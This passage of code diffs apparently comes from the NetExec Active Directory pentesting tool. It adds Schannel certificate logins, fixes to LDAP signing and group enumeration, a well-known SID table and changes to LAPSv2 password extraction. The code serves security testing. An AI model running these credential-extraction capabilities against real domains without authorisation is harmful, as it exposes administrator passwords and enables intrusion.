self.logger.fail(f"Failed to get file content. Response: ({error_message})")
return False
except FileNotFoundError:
self.logger.fail("Failed to get file content. Response: (No such file or directory.)")
return False
try:
for line in buf.getvalue().decode().splitlines():
self.logger.highlight(line)
except UnicodeDecodeError as e:
self.logger.fail(f"File is not in UTF-8: {e}")
def supported_commands(self):
raw_supported_commands = self.conn.sendcmd("HELP")
supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist]
+1
View File
@@ -7,6 +7,7 @@ def proto_args(parser, parents):
cgroup = ftp_parser.add_argument_group("File Operations")
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory")
cgroup.add_argument("--cat", metavar="FILE", help="Display the contents of a file. Example: --cat /path/to/file")
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
return parser
+145 -70
View File
@@ -12,7 +12,6 @@ from re import sub, IGNORECASE
from zipfile import ZipFile
from termcolor import colored
from dns import resolver
from dateutil.relativedelta import relativedelta as rd
from OpenSSL.SSL import SysCallError
from bloodhound.ad.authentication import ADAuthentication
@@ -41,7 +40,8 @@ from impacket.ntlm import getNTLMSSPType1
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
from nxc.helpers.pfx import certificate_options
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument, sanitize_dns
from nxc.logger import NXCAdapter
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
@@ -65,6 +65,9 @@ ldap_error_status = {
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
}
# LDAP authenticationChoice sent to the DC, as displayed to the operator
auth_methods = {"sasl": "NTLM", "simple": "SIMPLE bind", "external": "Schannel"}
class ldap(connection):
def __init__(self, args, db, host):
@@ -133,25 +136,20 @@ class ldap(connection):
return True
def get_ldap_username(self):
extended_request = ldapasn1_impacket.ExtendedRequest()
extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami
response = self.ldap_connection.sendReceive(extended_request)
for message in response:
search_result = message["protocolOp"].getComponent()
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
response_value = search_result["responseValue"]
if response_value.hasValue():
value = response_value.asOctets().decode(response_value.encoding)[2:]
return value.split("\\")[1]
return ""
try:
# impacket returns the raw RFC 4532 identity, "u:DOMAIN\user" on a DC
return self.ldap_connection.whoami().split("\\")[-1]
except ldap_impacket.LDAPSessionError as e:
self.logger.debug(f"LDAP whoami request failed: {e}")
return ""
def check_ldap_signing(self):
self.signing_required = False
self.signing_required = None
ldap_url = f"ldap://{self.target}"
try:
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout)
ldap_connection.login(domain=self.domain)
self.signing_required = False
self.logger.debug(f"LDAP signing is not enforced on {self.host}")
except ldap_impacket.LDAPSessionError as e:
if str(e).find("strongerAuthRequired") >= 0:
@@ -159,6 +157,8 @@ class ldap(connection):
self.signing_required = True
else:
self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}")
except OSError as e:
self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}")
def check_ldaps_cbt(self):
self.cbt_status = "Never"
@@ -185,6 +185,7 @@ class ldap(connection):
self.cbt_status = "When Supported" # CBT is When Supported
else:
self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}")
self.cbt_status = "Unknown"
except SysCallError as e:
self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}")
if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]:
@@ -222,14 +223,14 @@ class ldap(connection):
except Exception as e:
self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}")
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
self.target = target
self.targetDomain = target_domain
self.target = sanitize_dns(target or self.host, self.logger)
self.targetDomain = sanitize_dns(target_domain or (target.split(".", 1)[1] if "." in target else target), self.logger)
self.baseDN = base_dn
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
# Parse hostname and remoteName
self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target
self.remoteName = self.target
self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger)
self.remoteName = self.target if self.kerberos else self.host
# Parse NTLM challenge
ntlm_challenge = None
@@ -283,7 +284,12 @@ class ldap(connection):
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"])
if self.signing_required is True:
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"])
elif self.signing_required is False:
signing = colored("signing:None", host_info_colors[1], attrs=["bold"])
else:
signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"])
cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"])
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
@@ -334,7 +340,7 @@ class ldap(connection):
self.logger.extra["port"] = "636" if self.port == 636 else "389"
proto = "ldaps" if self.port == 636 else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using Kerberos")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
@@ -393,7 +399,7 @@ class ldap(connection):
self.logger.extra["port"] = "636"
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using Kerberos")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
@@ -451,21 +457,42 @@ class ldap(connection):
hash_asreproast.write(f"{hash_tgt}\n")
return False
cert_options = {}
cert_tmp_file = None
if self.args.schannel:
try:
cert_options, cert_tmp_file = certificate_options(self.args)
except (OSError, ValueError) as e:
self.logger.fail(f"Failed to load the certificate material: {e}")
return False
try:
# Connect to LDAP
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
self.logger.extra["port"] = "636" if self.port == 636 else "389"
proto = "ldaps" if self.port == 636 else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
authentication_choice = "external" if self.args.schannel else self.auth_choice
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using {auth_methods[authentication_choice]}")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout, **cert_options)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=authentication_choice)
# Prepare success credential text
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
if self.args.schannel:
# The certificate is mapped to an account server-side, so whoami is the only way to know who we are
netbios_domain, _, self.username = self.ldap_connection.whoami().removeprefix("u:").partition("\\")
# The mapped account can belong to another domain of the forest, and whoami only returns its NetBIOS domain name
cross_ref = parse_result_attributes(self.search(f"(&(objectClass=crossRef)(nETBIOSName={netbios_domain}))", ["dnsRoot"], baseDN=f"CN=Partitions,{self.configuration_context}"))
self.domain = cross_ref[0]["dnsRoot"] if cross_ref else netbios_domain
self.check_if_admin()
# A certificate bind has no secret to store, the account comes from the certificate mapping
if not self.args.schannel:
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
used_certificate = " from certificate" if self.args.schannel else f":{process_secret(self.password)}"
self.logger.success(f"{self.domain}\\{self.username}{used_certificate} {self.mark_pwned()}")
if self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
@@ -473,6 +500,13 @@ class ldap(connection):
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except ldap_impacket.LDAPSessionError as e:
if self.args.schannel:
# The error mapping below reads NTLM status codes, which a certificate bind never returns
if "did not receive any credentials via TLS" in str(e) or "connection is anonymous" in str(e):
self.logger.fail("Schannel authentication failed: the DC did not map the certificate to an account")
else:
self.logger.fail(f"Schannel authentication failed: {e}")
return False
if str(e).find("strongerAuthRequired") >= 0:
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
if self.args.simple_bind:
@@ -486,7 +520,7 @@ class ldap(connection):
self.logger.extra["port"] = "636"
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using {auth_methods[self.auth_choice]}")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
self.check_if_admin()
@@ -517,6 +551,9 @@ class ldap(connection):
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
finally:
if cert_tmp_file and os.path.exists(cert_tmp_file):
os.remove(cert_tmp_file)
def hash_login(self, domain, username, ntlm_hash):
self.logger.extra["protocol"] = "LDAP"
@@ -553,7 +590,7 @@ class ldap(connection):
self.logger.extra["port"] = "636" if self.port == 636 else "389"
proto = "ldaps" if self.port == 636 else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -579,7 +616,7 @@ class ldap(connection):
self.logger.extra["port"] = "636"
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -622,7 +659,7 @@ class ldap(connection):
resp = self.search(search_filter, attributes, baseDN=self.baseDN)
resp_parsed = parse_result_attributes(resp)
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache) and self.username != "":
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache or self.args.schannel) and self.username != "":
for item in resp_parsed:
self.sid_domain = "-".join(item["objectSid"].split("-")[:-1])
@@ -674,7 +711,8 @@ class ldap(connection):
self.logger.debug(f"Search Filter={searchFilter}")
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else ""
# A baseObject search returns one entry at most, and AD refuses the paged control on an anonymous rootDSE read
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if self.scope is None else None
return self.ldap_connection.search(
scope=self.scope,
searchBase=baseDN,
@@ -744,12 +782,12 @@ class ldap(connection):
self.users()
def groups(self):
# Building the search filter
# Group specific member search
if self.args.groups:
self.logger.debug(f"Dumping group: {self.args.groups}")
# Resolve group DN and primaryGroupID (objectSid)
group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"])
# Resolve group DN and primaryGroupID (objectSid) and member attribute
group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid", "member"])
group_parsed = parse_result_attributes(group_resp)
if not group_parsed:
@@ -757,29 +795,63 @@ class ldap(connection):
return
else:
group = group_parsed[0]
direct_group_members = group.get("member", [])
if not isinstance(direct_group_members, list):
direct_group_members = [direct_group_members]
# Search filter: user must have membership OR primaryGroupID
# Get all group members: user must have membership OR primaryGroupID
search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))"
attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"]
resp = self.search(search_filter, attributes)
group_members = parse_result_attributes(resp)
self.logger.debug(f"Total of records returned {len(group_members)}")
else:
search_filter = "(objectCategory=group)"
attributes = ["cn", "member", "description"]
# Resolve any missing group members that the memberOf/primaryGroupID search above didn't already return
if len(group_members) < len(direct_group_members):
for member_dn in direct_group_members:
member_resp = self.search(f"(distinguishedName={member_dn})", ["sAMAccountName", "distinguishedName", "cn", "objectClass"])
member_parsed = parse_result_attributes(member_resp)
resp = self.search(search_filter, attributes)
resp_parsed = parse_result_attributes(resp)
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
if member_parsed:
group_members.append(member_parsed[0])
else:
self.logger.debug(f"Failed to resolve group member DN '{member_dn}' for group '{self.args.groups}'")
group_members.append({"distinguishedName": member_dn})
# Deduplicate group members by distinguishedName or cn
deduped = {}
for item in group_members:
key = item.get("distinguishedName", item.get("cn", "")).lower()
deduped.setdefault(key, item)
resp_parsed = list(deduped.values())
if self.args.groups:
# Display group members
if not resp_parsed:
self.logger.fail(f"Group '{self.args.groups}' has no members")
else:
for item in resp_parsed:
# Display sAMAccountName or CN if sAMAccountName not present (could be a group)
# Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names)
self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"])
# Display cn if it is a group
# Otherwise display sAMAccountName and fall back to cn if sAMAccountName is not present
# If nothing is present, display Distinguished Name
if "group" in item.get("objectClass", []):
out = item["cn"]
elif "sAMAccountName" in item:
out = item["sAMAccountName"]
elif "cn" in item:
out = item["cn"]
else:
out = item["distinguishedName"]
self.logger.highlight(out)
# List all groups
else:
search_filter = "(objectCategory=group)"
attributes = ["cn", "member", "description"]
resp = self.search(search_filter, attributes)
resp_parsed = parse_result_attributes(resp)
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
# Display all groups
self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
for item in resp_parsed:
@@ -897,8 +969,7 @@ class ldap(connection):
resp_parse = parse_result_attributes(resp)
for item in resp_parse:
if "dNSHostName" in item: # Get dNSHostName attribute
name = item["dNSHostName"]
resolve_and_display_hostname(name)
resolve_and_display_hostname(item["dNSHostName"])
# Find all trusted domains
self.logger.info("Enumerating Trusted Domains...")
@@ -1182,28 +1253,27 @@ class ldap(connection):
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
try:
resp = self.search(search_filter, attributes, 0)
resp_parsed = parse_result_attributes(resp)
except LDAPFilterSyntaxError as e:
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
return
for idx, entry in enumerate(resp_parsed):
if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry):
idx += 1 # Skip non-entry responses
self.logger.success(f"Response for object: {resp[idx]['objectName']}")
for attribute in entry:
if isinstance(entry[attribute], list) and entry[attribute]:
# A search response also holds SearchResultReference objects, which carry no attributes and must not be indexed like an entry.
entries = [item for item in resp if isinstance(item, ldapasn1_impacket.SearchResultEntry)]
for entry, attribute_map in zip(entries, parse_result_attributes(entries), strict=True):
self.logger.success(f"Response for object: {entry['objectName']}")
for attribute, value in attribute_map.items():
if isinstance(value, list) and value:
# Display first item in the same line as attribute
self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}")
for item in entry[attribute]:
self.logger.highlight(f"{attribute:<20} {value.pop(0)}")
for item in value:
self.logger.highlight(f"{'':<20} {item}")
else:
self.logger.highlight(f"{attribute:<20} {entry[attribute]}")
self.logger.highlight(f"{attribute:<20} {value}")
def find_delegation(self):
def printTable(items, header):
colLen = []
# Calculating maximum lenght before parsing CN.
# Calculating maximum length before parsing CN.
for i, col in enumerate(header):
rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items)
colLen.append(max(rowMaxLen, len(col)))
@@ -1467,12 +1537,12 @@ class ldap(connection):
Get the Fine Grained Password Policy/PSOs
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
"""
# Convert LDAP time to human readable format
# Convert LDAP time (100ns intervals) to human readable format
def pso_days(ldap_time):
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
return f"{abs(int(ldap_time)) // 864000000000} days"
def pso_mins(ldap_time):
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
return f"{abs(int(ldap_time)) // 600000000} minutes"
# Are there even any FGPPs?
self.logger.info("Attempting to enumerate policies...")
@@ -1689,6 +1759,7 @@ class ldap(connection):
aeskey=self.aesKey,
kdc=self.kdcHost,
auth_method="auto",
ldap_channel_binding=self.cbt_status == "Always"
)
ad = AD(
auth=auth,
@@ -1708,7 +1779,7 @@ class ldap(connection):
if self.args.kerberos:
self.logger.highlight("Using kerberos auth without ccache, getting TGT")
auth.get_tgt()
if self.args.use_kcache:
if self.use_kcache:
self.logger.highlight("Using kerberos auth from ccache")
auth.load_ccache()
@@ -1727,9 +1798,13 @@ class ldap(connection):
exclude_dcs=False,
)
except Exception as e:
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
return
if "ldap3-bleeding-edge" in str(e):
self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge")
return
else:
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
return
# Collect ADCS data using CertiHound if requested
if "adcs" in collect:
+124
View File
@@ -0,0 +1,124 @@
from impacket.ldap.ldaptypes import ACCESS_MASK
# https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab?source=recommendations
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-21-0-0-0-496": "Compounded Authentication", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_13
"S-1-5-21-0-0-0-497": "Claims Valid", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_14
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-32-553": "RAS and IAS Servers",
"S-1-5-32-554": r"BUILTIN\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": r"BUILTIN\Remote Desktop Users",
"S-1-5-32-557": r"BUILTIN\Incoming Forest Trust Builders",
"S-1-5-32-556": r"BUILTIN\Network Configuration Operators",
"S-1-5-32-558": r"BUILTIN\Performance Monitor Users",
"S-1-5-32-559": r"BUILTIN\Performance Log Users",
"S-1-5-32-560": r"BUILTIN\Windows Authorization Access Group",
"S-1-5-32-561": r"BUILTIN\Terminal Server License Servers",
"S-1-5-32-562": r"BUILTIN\Distributed COM Users",
"S-1-5-32-568": r"BUILTIN\DCOM Users",
"S-1-5-32-569": r"BUILTIN\Cryptographic Operators",
"S-1-5-32-571": r"BUILTIN\Cacheable Principals",
"S-1-5-32-572": r"BUILTIN\Non-Cacheable Principals",
"S-1-5-32-573": r"BUILTIN\Event Log Readers",
"S-1-5-32-574": r"BUILTIN\Certificate Service DCOM Access",
"S-1-5-32-575": r"BUILTIN\RDS Remote Access Servers",
"S-1-5-32-576": r"BUILTIN\RDS Endpoint Servers",
"S-1-5-32-577": r"BUILTIN\RDS Management Servers",
"S-1-5-32-578": r"BUILTIN\Hyper-V Administrators",
"S-1-5-32-579": r"BUILTIN\Access Control Assistance Operators",
"S-1-5-32-580": r"BUILTIN\Remote Management Users",
"S-1-5-32-581": r"BUILTIN\Default Account",
"S-1-5-32-582": r"BUILTIN\Storage Replica Administrators",
"S-1-5-32-583": r"BUILTIN\Device Owners",
"S-1-5-32-584": r"BUILTIN\User Mode Hardware Operators",
"S-1-5-32-585": r"BUILTIN\OpenSSH Users",
"S-1-5-33": "Write Restricted Code",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-65-1": "This Organization Certificate", # see https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/39f588d6-21e3-4e09-a9f2-d8f7b9b998bf
"S-1-5-80": "NT Service",
"S-1-5-80-0": "All Services",
"S-1-5-83-0": r"NT VIRTUAL MACHINE\Virtual Machines",
"S-1-5-84-0-0-0-0-0": "User Mode Drivers",
"S-1-5-1000": "Other Organization",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-18-1": "Authentication Authority Asserted Identity",
"S-1-18-2": "Service Asserted Identity",
"S-1-18-3": "Fresh public key identity",
"S-1-18-5": "MFA Key Property",
"S-1-18-6": "Attested Key Property",
}
ACCESS_MASK_TO_TEXT_LOOKUP = {
ACCESS_MASK.GENERIC_READ: "GENERIC_READ",
ACCESS_MASK.GENERIC_WRITE: "GENERIC_WRITE",
ACCESS_MASK.GENERIC_EXECUTE: "GENERIC_EXECUTE",
ACCESS_MASK.GENERIC_ALL: "GENERIC_ALL",
ACCESS_MASK.MAXIMUM_ALLOWED: "MAXIMUM_ALLOWED",
ACCESS_MASK.ACCESS_SYSTEM_SECURITY: "ACCESS_SYSTEM_SECURITY",
ACCESS_MASK.SYNCHRONIZE: "SYNCHRONIZE",
ACCESS_MASK.WRITE_OWNER: "WRITE_OWNER",
ACCESS_MASK.WRITE_DACL: "WRITE_DACL",
ACCESS_MASK.READ_CONTROL: "READ_CONTROL",
ACCESS_MASK.DELETE: "DELETE",
# file system rights
0x00000001: "FILE_READ_DATA",
0x00000002: "FILE_WRITE_DATA",
0x00000004: "FILE_APPEND_DATA",
0x00000008: "FILE_READ_EA",
0x00000010: "FILE_WRITE_EA",
0x00000020: "FILE_EXECUTE",
0x00000040: "FILE_DELETE_CHILD",
0x00000080: "FILE_READ_ATTRIBUTES",
0x00000100: "FILE_WRITE_ATTRIBUTES"
}
+1 -1
View File
@@ -167,7 +167,7 @@ class KerberosAttacks:
if e.errno == 113:
self.logger.fail(f"Unable to resolve KDC hostname: {e!s}")
else:
self.logger.fail(f"Some other OSError occured: {e!s}")
self.logger.fail(f"Some other OSError occurred: {e!s}")
return None
except Exception as e:
self.logger.debug(f"TGT: {e!s}")
+19 -12
View File
@@ -7,7 +7,7 @@ from impacket.krb5.kerberosv5 import KerberosError
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.epm import hept_map
from impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek
from nxc.logger import NXCAdapter
@@ -169,7 +169,7 @@ class LDAPConnect:
class LAPSv2Extract:
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server, rpc_host=None, rpc_name=None, aesKey=""):
if ntlm_hash.find(":") != -1:
self.lmhash, self.nthash = ntlm_hash.split(":")
else:
@@ -182,8 +182,11 @@ class LAPSv2Extract:
self.domain = domain
self.do_kerberos = do_kerberos
self.kdcHost = kdcHost
self.aesKey = aesKey
self.logger = None
self.dns_server = dns_server
self.rpc_host = rpc_host or (dns_server if dns_server else domain)
self.rpc_name = rpc_name or domain
self.proto_logger(self.domain, port, self.domain)
def proto_logger(self, host, port, hostname):
@@ -215,29 +218,30 @@ class LAPSv2Extract:
gke = kds_cache[key_id["RootKeyId"]]
else:
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
string_binding = hept_map(destHost=self.rpc_host, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
rpc_transport.setRemoteName(self.rpc_name)
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash, aesKey=self.aesKey)
if self.do_kerberos:
self.logger.info("Connecting using kerberos")
rpc_transport.set_kerberos(self.do_kerberos, kdcHost=self.kdcHost)
dce = rpc_transport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if self.do_kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.logger.info(f"Connecting to {string_binding}")
try:
dce.connect()
except Exception as e:
self.logger.error(f"Something went wrong, check error status => {e}")
return False
return None
self.logger.info("Connected")
try:
dce.bind(MSRPC_UUID_GKDI)
except Exception as e:
self.logger.error(f"Something went wrong, check error status => {e!s}")
return False
return None
self.logger.info("Successfully bound")
self.logger.info("Calling MS-GKDI GetKey")
@@ -248,15 +252,12 @@ class LAPSv2Extract:
kds_cache[gke["RootKeyId"]] = gke
kek = compute_kek(gke, key_id)
self.logger.info(f"KEK:\t{kek}")
enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"])
iv, _ = decoder.decode(enc_content_parameter)
iv = bytes(iv[0])
cek = unwrap_cek(kek, bytes(kek_recipient_info["encryptedKey"]))
self.logger.info(f"CEK:\t{cek}")
